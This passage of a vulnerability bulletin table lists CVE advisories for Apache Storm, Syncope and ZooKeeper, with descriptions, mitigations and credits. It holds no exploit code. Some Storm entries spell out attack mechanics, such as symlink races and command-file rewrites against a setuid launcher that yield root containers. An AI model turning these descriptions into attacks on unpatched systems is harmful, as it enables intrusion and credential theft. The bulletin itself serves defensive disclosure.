Nimbus log for the dependency keys reported as missing and remove or resubmit the topology naming them. Users who cannot upgrade immediately should restrict topology submission to trusted principals. Credit This issue was discovered by rzo1 while investigating an unrelated blobstore defect.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82441&quot; target=&quot;_blank&quot;&gt;CVE-2026-82441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Nimbus&lt;/td&gt;
&lt;td&gt;Description getTopologyPageInfo merged the Nimbus daemon configuration with the topology&#039;s own configuration and returned the result without redaction in the topology_conf field of TopologyPageInfo. The Storm UI copied that value verbatim into the configuration field of GET /api/v1/topology/{id} and of the corresponding metrics endpoint. Where the cluster is configured with them, the merged map includes storm.zookeeper.auth.payload, which Storm&#039;s own documentation directs operators to keep in storm-cluster-auth.yaml under permissions that deny access from workers, together with the keystore and truststore passwords for the Thrift, Netty and ZooKeeper TLS configuration, and any plugin key whose name denotes a secret. getTopologyPageInfo is a topology read-only operation. Under SimpleACLAuthorizer a principal listed in topology.readonly.users or topology.readonly.groups could therefore read daemon credentials that the dedicated cluster configuration API, getNimbusConf, redacts and that is gated on nimbus.users instead. The sibling operations that exist to serve configuration were masked; the topology page, which merges in strictly more daemon state, was not. Mitigation Upgrade to 3.1.0, where credential-bearing values are masked before any configuration is served over the Nimbus API. Users who cannot upgrade immediately should remove any principal that is not trusted with cluster credentials from topology.readonly.users, topology.readonly.groups, topology.users and topology.groups, and should rotate the ZooKeeper authentication payload and any TLS keystore or truststore passwords that were reachable through the topology page. Credit Wanxin Yin (yaklang.io)&amp;nbsp;reported this issue to the Apache Security Team.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84179&quot; target=&quot;_blank&quot;&gt;CVE-2026-84179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Webapp&lt;/td&gt;
&lt;td&gt;Description Three separate mechanisms allowed a web page on an unrelated origin to read responses that Storm&#039;s HTTP components served to an authenticated user. The Logviewer reflected the request&#039;s `Origin` header back in `Access-Control-Allow-Origin` while also sending `Access-Control-Allow-Credentials: true`. The published security model documents a permissive `Access-Control-Allow-Origin: *` posture as accepted, which is safe precisely because browsers refuse to honour `*` together with credentials; reflecting the concrete origin removes that protection. The shared CORS filter used by the UI, the Logviewer and DRPC was configured with a response header name where an initialisation parameter name was expected. The container ignored the setting and applied its own defaults, which allow credentials. Finally, the UI and Logviewer wrapped API responses in a caller-supplied JSONP callback for every GET request. A script element on any origin can load such a response, which bypasses the same-origin policy entirely rather than negotiating it, and there was no way to turn the behaviour off. In each case the effect is that a page visited by an authenticated operator can read cluster, topology and log data on their behalf. Mitigation Upgrade to 3.1.0, where the Logviewer no longer reflects the request origin in a credentialed response, the CORS filter is configured explicitly, and JSONP wrapping is governed by `ui.enable.jsonp`, which defaults to false. Note that disabling JSONP is a behaviour change for tooling that passes a `callback` query parameter; such tooling should be moved to ordinary JSON requests. Users who cannot upgrade immediately should place the UI, Logviewer and DRPC HTTP endpoints behind a reverse proxy that strips `Access-Control-Allow-Origin` and `Access-Control-Allow-Credentials` from responses and rejects requests carrying a `callback` parameter. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82438&quot; target=&quot;_blank&quot;&gt;CVE-2026-82438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Worker&lt;/td&gt;
&lt;td&gt;Description The worker&#039;s Netty message decoder is installed ahead of the SASL authentication handlers in the pipeline and acts on frames before any authentication has taken place. It allocated buffers sized from a length field carried in the frame, so a single frame from an unauthenticated peer able to reach a worker slot port could drive a large allocation. `storm.messaging.netty.authentication` defaults to false, and the decoder runs before the handler that enforces it in any case, so no credentials are required. The attacker needs only TCP reachability to a worker port. The effect of a single frame at the default 768 MB worker heap has not been measured to distinguish sustained worker loss from transient garbage-collection pressure. The severity assigned to this advisory reflects the more conservative reading; consumers who require a precise figure should test against their own worker heap configuration. Mitigation Upgrade to 3.1.0, where frames are decoded only after the handshake completes. Users who cannot upgrade immediately should ensure that worker slot ports are reachable only from within the cluster, as the security model already recommends, and should enable `storm.messaging.netty.authentication` where the deployment permits it. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82435&quot; target=&quot;_blank&quot;&gt;CVE-2026-82435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Worker Launcher&lt;/td&gt;
&lt;td&gt;Description The setuid-root `worker-launcher` binary adjusts ownership and permissions of worker directories by walking the tree with FTS and calling `lchown` and `chmod` on each entry&#039;s full pathname while running with an effective uid of 0. Both syscalls re-resolve the path at the time of the call, after FTS has classified the entry, and the trees being walked are owned and writable by the untrusted topology user. A tenant running code on a supervisor node could therefore replace an intermediate directory component with a symbolic link between classification and the privileged operation, redirecting the root-owned `lchown` or `chmod` at an arbitrary file on the host. The operation is repeatable at will, since crashing a worker forces a relaunch and blob updates re-run the walk, so a failed attempt costs the attacker nothing. This crosses the boundary that `supervisor.run.worker.as.user` and container isolation are intended to enforce. It is the same defect class as the Hadoop container-executor issues from which this code derives. Mitigation Upgrade to 3.1.0, where the privileged walk operates on file descriptors it has already stat&#039;d rather than on pathnames re-resolved at call time. Users who cannot upgrade immediately should not run untrusted topology code on supervisors configured with `supervisor.run.worker.as.user`, since the launcher is the boundary being crossed. Note that the launcher must be rebuilt and reinstalled after upgrading; replacing the Java artifacts alone is not sufficient. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82429&quot; target=&quot;_blank&quot;&gt;CVE-2026-82429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Worker Launcher&lt;/td&gt;
&lt;td&gt;Description When launching a Docker or OCI worker, the setuid-root `worker-launcher` first changes ownership of the entire worker directory to the untrusted topology user, and only afterwards reads and acts on the command file that the supervisor wrote into that same directory. The file is opened without `O_NOFOLLOW` and without re-verifying its owner, so between the ownership change and the read the tenant can replace its contents. For the Docker path the parsed command is executed with real uid 0, and the command sanitiser is not a privilege boundary: it admits `-v` with an arbitrary source, `--device`, `--cap-add`, `--security-opt`, `--user` and `--net`, and copies positional arguments through verbatim. A rewritten file therefore yields an attacker-authored, root-equivalent container invocation with the host filesystem available. For the OCI path the same rewrite window applies, and mount validation is structural only, with no source or destination allow-list, so arbitrary host paths can be bind-mounted read-write into the container. The `username` field of the command file is likewise attacker-settable and is checked only against non-root and minimum-uid rules, permitting execution as another tenant&#039;s uid. Mitigation Upgrade to 3.1.0, where the command file is validated before the ownership change and re-verified on open, and where mount sources and destinations are constrained by configuration. Users who cannot upgrade immediately should disable Docker and OCI worker isolation, or restrict topology submission on affected supervisors to trusted principals. Note that the launcher must be rebuilt and reinstalled after upgrading. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82430&quot; target=&quot;_blank&quot;&gt;CVE-2026-82430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Syncope. An administrator with adequate entitlements can get access via REST to the list of existing Access Tokens, including their signed JWT body. These values can be then used to perform further REST requests, impersonating users with higher administration entitlements. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73178&quot; target=&quot;_blank&quot;&gt;CVE-2026-73178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;URL Redirection to Untrusted Site (&#039;Open Redirect&#039;) vulnerability in Apache Syncope. When the Syncope SRA is configured for CAS authentication, the target Apereo CAS instance&#039;s URL is calculated by unconditionally looking at client-supplied forwarded HTTP headers. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73191&quot; target=&quot;_blank&quot;&gt;CVE-2026-73191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Improper Encoding or Escaping of Output vulnerability in Apache Syncope. Authenticated users can store a spreadsheet formula payload in one of their own plain attributes. When such users are included in a CSV export and the generated CSV file is opened by a spreadsheet application, the formula may be executed. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73195&quot; target=&quot;_blank&quot;&gt;CVE-2026-73195&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in Apache Syncope. Delegated administration security checks are based on Realm hierarchy and enforced via prefix matches. Due to incorrect implementation, two sibling Realms whose names&amp;nbsp;begin with the same string cannot be correctly distinguished, resulting in incorrect authorization. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73236&quot; target=&quot;_blank&quot;&gt;CVE-2026-73236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in Apache Syncope. Delegated administration security checks performed by Reconciliation service&#039;s pull and push, being incomplete, could accept calls by administrator not provided with adequate entitlements. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73370&quot; target=&quot;_blank&quot;&gt;CVE-2026-73370&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Improper Privilege Management vulnerability in Apache Syncope. Delegations can be created or updated with Roles not owned by the delegating User, or not for the same Realm subtree under the delegation management was granted for. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73470&quot; target=&quot;_blank&quot;&gt;CVE-2026-73470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in Apache Syncope. Any search requests are transformed into SQL, Neo4J or Elasticsearch / Opensearch queries, depending on the actual deployment configuration. An important component of such transformation is the Realms filter, which ensures that the search results are matching the requester&#039;s permissions. For non-recursive search requests it is possible that such Realms filter is rendered as empty, thus voiding any restriction on requester privileges. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73579&quot; target=&quot;_blank&quot;&gt;CVE-2026-73579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in Apache Syncope. An administrator with adequate entitlements in a given Realm may be able to read via REST the full Connector configuration, confidential properties included, scoped in another Realm and thus be able to effectively duplicate such Connector instance into the Realm they have administration rights for. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73668&quot; target=&quot;_blank&quot;&gt;CVE-2026-73668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Insufficiently Protected Credentials vulnerability in Apache Syncope. Audit events, when sent to the configured store, are not sufficiently masked for the sensitive values they might carry on their payloads, thus allowing administrators to access such sensitive values. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75015&quot; target=&quot;_blank&quot;&gt;CVE-2026-75015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Missing Authorization vulnerability in Apache Syncope. An administrator with task execution entitlements might be able to mass (de)provision group members, regardless of their group-related administration capabilities. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75030&quot; target=&quot;_blank&quot;&gt;CVE-2026-75030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability in Apache Syncope. An administrator with adequate entitlements can achieve execution of arbitrary SQL via stacked queries, leveraging unsanitized entityKey and opEvent parameters. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77051&quot; target=&quot;_blank&quot;&gt;CVE-2026-77051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability in Apache Syncope. An administrator with adequate entitlements for Implementations can create a malicious Groovy Command class containing untrusted code in their CommandArgs static implementation,&amp;nbsp;bypassing the Groovy security sandbox. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77147&quot; target=&quot;_blank&quot;&gt;CVE-2026-77147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in Apache Syncope. An administrator with ClientApp&#039;s update entitlement is unable to perform the related operation, while&amp;nbsp;ClientApp&#039;s create entitlement is checked both for create and update operations on ClientApp. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77181&quot; target=&quot;_blank&quot;&gt;CVE-2026-77181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Exposure of sensitive information through data queries vulnerability in Apache Syncope. An administrator with adequate entitlements for Derived Schemas can create a malicious JEXL expression which allows any administrator with sufficient entitlements for User read to access LinkedAccount&#039;s (if present) or Manager&#039;s (if defined) sensitive information, possibly including hashed credentials. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77883&quot; target=&quot;_blank&quot;&gt;CVE-2026-77883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Apache Syncope. The notification message, as optionally shown by Console&#039;s and Enduser&#039;s login pages can be instructed to display HTML tags with unsafe JS inline, via malicious HTTP link generation. This issue affects Apache Syncope: from 4.0.4 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78318&quot; target=&quot;_blank&quot;&gt;CVE-2026-78318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Incorrect privilege assignment vulnerability in Apache Syncope. When the configured JWKS settings for internal JWT authentication are disclosed (at least protocol and key), an attacker can obtain admin privileges after completing a successful authentication and obtaining a valid low-privileges JWT. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78330&quot; target=&quot;_blank&quot;&gt;CVE-2026-78330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Insertion of sensitive information into sent data vulnerability in Apache Syncope. Any authenticated user can query for the list of available OIDC providers configured for SSO with Console and Enduser. The returned payload contains all configuration settings, including client secrets, regardless of the entitlements owned by the caller. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78336&quot; target=&quot;_blank&quot;&gt;CVE-2026-78336&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an SQL command (&#039;SQL injection&#039;) vulnerability in Apache Syncope. An administrator with adequate entitlements can achieve execution of arbitrary SQL via stacked queries, leveraging unsanitized sort clauses for Task search. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82232&quot; target=&quot;_blank&quot;&gt;CVE-2026-82232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Cypher injection vulnerability in the Neo4j persistence layer when processing some FIQL search&amp;nbsp;conditions. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86460&quot; target=&quot;_blank&quot;&gt;CVE-2026-86460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Insertion of sensitive information into log file vulnerability in Apache Syncope. When AES key of non-standard length (not 16/24/32 bytes) is configured, Syncope will pad the provided value with random characters. The resulting key value is logged. This issue affects Apache Syncope: from 3.0.15 through 3.0.16, from 4.0.3 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87779&quot; target=&quot;_blank&quot;&gt;CVE-2026-87779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Authentication bypass by spoofing vulnerability in Apache Syncope. When the configured JWKS settings for internal JWT authentication are disclosed (at least protocol and key), an attacker can spoof another user&#039;s privileges after completing a successful authentication and obtaining a valid JWT. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87785&quot; target=&quot;_blank&quot;&gt;CVE-2026-87785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Syncope&lt;/td&gt;
&lt;td&gt;Improper verification of cryptographic signature vulnerability in Apache Syncope. When SRA is configured for OAuth 2.0 without JWKS set URI assigned, an attacker can forge arbitrary JWTs to impersonate any user identity and permissions, gaining full access to services proxied by SRA. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87802&quot; target=&quot;_blank&quot;&gt;CVE-2026-87802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache ZooKeeper&lt;/td&gt;
&lt;td&gt;Information disclosure via SetWatches reconnect replay in Apache ZooKeeper due to missing ACL check.&amp;nbsp;An attacker can discover ACL-restricted paths by registering exists-watches on non-existent paths, then reconnecting after the paths are created with restricted ACLs. Issue is caused by incomplete fix for&amp;nbsp;CVE-2024-23944 (ZOOKEEPER-4799).&amp;nbsp;The fix added ACL checking to WatchManager.triggerWatch(). However, DataTree.setWatches() - the SetWatches/SetWatches2 reconnect replay handler - still calls watcher.process(event) with null ACL, bypassing the check entirely. It&#039;s important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. Users are recommended to upgrade to version 3.9.6, 3.8.7 which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59739&quot; target=&quot;_blank&quot;&gt;CVE-2026-59739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache ZooKeeper&lt;/td&gt;
